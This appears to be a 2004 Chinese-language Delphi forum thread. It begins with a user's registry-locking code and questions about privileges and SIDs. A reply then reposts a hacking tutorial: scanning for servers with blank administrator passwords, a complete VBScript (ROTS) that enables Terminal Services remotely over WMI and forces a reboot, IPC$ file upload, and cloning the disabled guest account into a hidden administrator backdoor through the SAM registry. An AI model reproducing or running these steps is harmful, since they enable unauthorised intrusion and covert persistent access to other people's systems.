在service的驅使下呼叫exe無法變更win登錄檔 |
答題得分者是:allenchan
|
ko
資深會員 發表:28 回覆:785 積分:444 註冊:2002-08-14 發送簡訊給我 |
大家好:
為了防止小人偷改我的regedit,因此寫了一個uneditREG.exe
此程式是用TIMER1每.05秒去變更下面這些參數
procedure TForm1.Timer1Timer(Sender: TObject);
var
Reg:TRegistry;
begin
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_CURRENT_USER;
Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System',True);
Reg.WriteInteger('DisableRegistryTools',0);
Reg.WriteInteger('DisableTaskMgr',1);
Reg.WriteInteger('DisableLockWorkstation',1);
Reg.WriteInteger('DisableChangePassword',1);
Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',True);
Reg.WriteInteger('NoLogoff',1);
Reg.CloseKey;
Reg.Free; end; 沒錯~小弟為了一開機就啟動於是又寫了一個service掛在win2000的系統上
問題來了
小弟若沒有透過service來呼叫uneditREG.exe,就是直接點2下執行程式是可以
修正上面程式中的那幾個項目。 但是透過service來呼叫uneditREG.exe,TIMER1會..有動作但是無法修正上面
程式中的那幾個項目。
請問各位這是何解?
------
====================== 昏睡~ 不昏睡~ 不由昏睡~ |
allenchan
資深會員 發表:10 回覆:306 積分:283 註冊:2004-01-06 發送簡訊給我 |
|
ko
資深會員 發表:28 回覆:785 積分:444 註冊:2002-08-14 發送簡訊給我 |
大家好:
首先感謝 allenchan 兄的回應給了我一個方向
但是在測試中
1.service是在administrator的權限下呼叫的 2.將變更regedit的權利還給n-user要用
--OpenProcessToken
--LookupPrivilegeValue(?????)
--AdjustTokenPrivileges
可是要用 ADMINISTRATOR 以下16個權限的哪一個?
SeChangeNotifyPrivilege
SeSecurityPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeSystemtimePrivilege
SeShutdownPrivilege
SeRemoteShutdownPrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeLoadDriverPrivilege
SeCreatePagefilePrivilege
SeIncreaseQuotaPrivilege 以上2點小弟正在測試但是都沒成功,若有大大有類似的情形
可以給小弟一些建議或方向請勿吝嗇告知,在此感謝。
------
====================== 昏睡~ 不昏睡~ 不由昏睡~ |
ko
資深會員 發表:28 回覆:785 積分:444 註冊:2002-08-14 發送簡訊給我 |
大家好:
最新狀況
小弟發現在 登錄檔 HKEY_USERS 機碼的位置
有一段key
S-1-5-21-1078081533-1614895754-839522115-500\Software\Microsoft\Windows\CurrentVersion\Policies\System
在這裡變更
引言: ... Reg.WriteInteger('DisableRegistryTools',0); Reg.WriteInteger('DisableTaskMgr',1); Reg.WriteInteger('DisableLockWorkstation',1); Reg.WriteInteger('DisableChangePassword',1); ... ..這樣也可以防止,regedit被更改,只是紅色部分會依照電腦不同或使用者不同 會有不一樣的代碼,請問要取得目前使用者的代碼?? 不勝感激!!!
------
====================== 昏睡~ 不昏睡~ 不由昏睡~ |
ko
資深會員 發表:28 回覆:785 積分:444 註冊:2002-08-14 發送簡訊給我 |
大家好:
又有新進展~
出處:
http://www.winmag.com.cn/html/2004/07/20040730102201-1.shtml
引言: SID:S-1-5-域-500 名?:Administrator 描述:系?管理?的用???。默?情?下,它是唯一能?完全控制系?的用???。註: 紅色字-域 出處 http://www.winmag.com.cn/html/2004/07/20040730101335-1.shtml 引言: SID的?得 ?始-?行-regedt32-HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Builtin\Aliases\Members,找到本地的域的代?,展?后,得到的就是本地??的所有SID列表。 其中很多值都是固定的,比如第一?000001F4(16?制),?算成十?制是500,?明是系?建立的?置管理???administrator,000001F5?算成10?制是501,也就是GUEST??了,??的?照后面的列表。但是小弟怎麼也開不起來HKEY_LOCAL_MACHINE\SAM\SAM這個機碼 (都是空的) 若有大大知道請回應~不勝感激!!!
------
====================== 昏睡~ 不昏睡~ 不由昏睡~ |
ko
資深會員 發表:28 回覆:785 積分:444 註冊:2002-08-14 發送簡訊給我 |
|
conundrum
尊榮會員 發表:893 回覆:1272 積分:643 註冊:2004-01-06 發送簡訊給我 |
以下文章 如果網友另存檔案時
防毒軟體會偵測有病毒請自行小心觀看一次簡單的3389入侵過程 http://www.axin.net/article/ShowArticle.asp?ArticleID=1503 [ 作者:佚名 轉貼自:網路 點擊數:2089 文章錄入:阿新 ] 我在網上看到很多很多教你如何如何入侵之類的文章,我覺得對於菜鳥來說根本是看不懂的! 於是呢,我冒出個想法!想寫篇簡單點的,適合菜鳥的文章!把我學到的跟大家說一下~! 要入侵,我建議你在win2000環境下來*作! 首先,要入侵,你得有工具!我向大家推薦幾款軟體,也是我一直用的東西! 掃描的X-Scan V2.3、WINNTAutoAttack、流光! X-Scan我最近很少用了,基本用的都是WINNTAutoAttack,當然,小榕的流光我也經常用! 遠端開終端需要一個腳本就可以了,代碼請看二樓!保存?*.vbe(我保存的是rots.vbe) 克隆帳戶用個psu就可以了~! OK,比如掃描到了一個有NT弱口令的伺服器,IP位址是120.0.0.1,管理員帳戶是administrator,密碼?空 運行CMD(2000下的DOS),我們給它開終端! 命令如下! cscript rots.vbe 120.0.0.1 administrator "" 3389 /fr 上面的命令應該可以理解吧?cscript rots.vbe這是命令,後面的是IP,然後是管理員帳戶,接這是密碼,因?120.0.0.1這台伺服器的管理員密碼是空的,那就用雙引號表示?空,再後面是埠,你可以任意設置終端的埠,/fr是重?命令(強制重?,一般我都用這個,你也可以/r,這是普通重?) 因?終端伺服器只在win2000 server以上的版本(包括server)才有,PRO當然是不行的,此版本可以檢測伺服器的版本,如果是PRO的則提示你退出安裝! 一切順利,過會就可以連接到終端了,我們可以ping它,看是否重?,ping 120.0.0.1 -t 安裝後用連接工具連接終端!現在我們克隆帳戶,呵呵,?了給以後方便嘛! 回到DOS下!我們建立IPC$連接! net use \\120.0.0.1\ipc$ "" /user:"administrator" 這個命令我想應該可以理解吧!命令完成後,我們把psu上傳到目的機的winnt\system32目錄下! copy psu.exe \\120.0.0.1\admin$\system32 上傳完畢後,開始在肉雞做後門帳戶!看肉雞! 假設guest用戶被禁用,我們就是要利用guest做後門帳戶! 在該伺服器運行CMD,在命令行下輸入 psu -p regedit -i PID 這裏解釋一下,後面的PID是系統進程winlogon的值,我們在任務欄下點滑鼠右鍵,看任務管理器! 看進程選項卡,找到winlogon的進程,後面的數值就是winlogon的pid值,假設是5458 那?,命令就是這樣 psu -p regedit -i 5458 這樣直接打開註冊表,可以讀取本地sam的資訊。 打開鍵值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 下面的就是本地的用戶資訊了!我們要做的是把禁用的guest克隆成管理員許可權的帳戶! HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 查看administrator的類型,是if4,再看guest的是if5 好了,知道了類型後,打開 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 這個值,雙擊右側的F,把裏面亂七八糟的字元複製下來,然後打開 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 雙擊右側的F,把剛複製的粘貼到裏面! 做好了以後,把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest 這兩個鍵值導出,導出後把那兩個鍵值刪除!然後再導入進來!關閉註冊表。 打開CMD,在命令行下輸入 net user guest password 這條命令是給guest設置密碼,後面的password就是密碼 然後輸入 net user guest /active:y 這命令是啟動guest帳戶,然後我們把他禁用 net user guest /active:n 上面的三行命令必須在DOS下執行! OK了,打開電腦管理,看用戶,你們看,guest帳戶還是被禁用的~!哈哈,但它已經擁有管理員許可權了! 而且並不在管理員組裏顯示,還可以登陸終端,跟administrator帳戶一樣的! 登出一下,用guest登陸吧! 打字都打累了~`!真不容易!呵呵~`希望上面的大家能看懂啊! 如果還有地方不明白的話,可以問我,我知道的一定告訴大家! 因?本人也是菜鳥級的,會了點東西就不知道怎?好了,呵呵~`!如果哪里有不對的,還請高手指點啊~! ---------------------------------------------------------------------- 以下是開終端的腳本,把它存?*.vbe on error resume next set outstreem=wscript.stdout set instreem=wscript.stdin if (lcase(right(wscript.fullname,11))="wscript.exe") then set objShell=wscript.createObject("wscript.shell") objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)) wscript.quit end if if wscript.arguments.count<3 then usage() wscript.echo "Not enough parameters." wscript.quit end if ipaddress=wscript.arguments(0) username=wscript.arguments(1) password=wscript.arguments(2) if wscript.arguments.count>3 then port=wscript.arguments(3) else port=3389 end if if not isnumeric(port) or port<1 or port>65000 then wscript.echo "The number of port is error." wscript.quit end if if wscript.arguments.count>4 then reboot=wscript.arguments(4) else reboot="" end if usage() outstreem.write "Conneting "&ipaddress&" ...." set objlocator=createobject("wbemscripting.swbemlocator") set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password) showerror(err.number) objswbemservices.security_.privileges.add 23,true objswbemservices.security_.privileges.add 18,true outstreem.write "Checking OS type...." set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem") for each objinstoscaption in colinstoscaption if instr(objinstoscaption.caption,"Server")>0 then wscript.echo "OK!" else wscript.echo "OS type is "&objinstoscaption.caption outstreem.write "Do you want to cancel setup?[y/n]" strcancel=instreem.readline if lcase(strcancel)<>"n" then wscript.quit end if next outstreem.write "Writing into registry ...." set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov") HKLM=&h80000002 HKU=&h80000003 with objinstreg .createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache" .setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0 .createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer" .setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2 .setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1" .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port end with showerror(err.number) rebt=lcase(reboot) flag=0 if rebt="/r" or rebt="-r" or rebt="\r" then flag=2 if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6 if flag<>0 then outstreem.write "Now, reboot target...." strwqlquery="select * from win32_operatingsystem where primary='true'" set colinstances=objswbemservices.execquery(strwqlquery) for each objinstance in colinstances objinstance.win32shutdown(flag) next showerror(err.number) else wscript.echo "You need to reboot target."&vbcrlf&"Then," end if wscript.echo "You can logon terminal services on "&port&" later. Good luck!" function showerror(errornumber) if errornumber Then wscript.echo "Error 0x"&cstr(hex(err.number))&" ." if err.description <> "" then wscript.echo "Error description: "&err.description&"." end if wscript.quit else wscript.echo "OK!" end if end function function usage() wscript.echo string(79,"*") wscript.echo "ROTS v1.05" wscript.echo "Remote Open Terminal services Script, by 草哲" wscript.echo "Welcome to visite www.5458.net" wscript.echo "Usage:" wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]" wscript.echo "port: default number is 3389." wscript.echo "/r: auto reboot target." wscript.echo "/fr: auto force reboot target." wscript.echo string(79,"*")&vbcrlf end function發表人 - conundrum 於 2004/12/18 15:05:19 |
本站聲明 |
1. 本論壇為無營利行為之開放平台,所有文章都是由網友自行張貼,如牽涉到法律糾紛一切與本站無關。 2. 假如網友發表之內容涉及侵權,而損及您的利益,請立即通知版主刪除。 3. 請勿批評中華民國元首及政府或批評各政黨,是藍是綠本站無權干涉,但這裡不是政治性論壇! |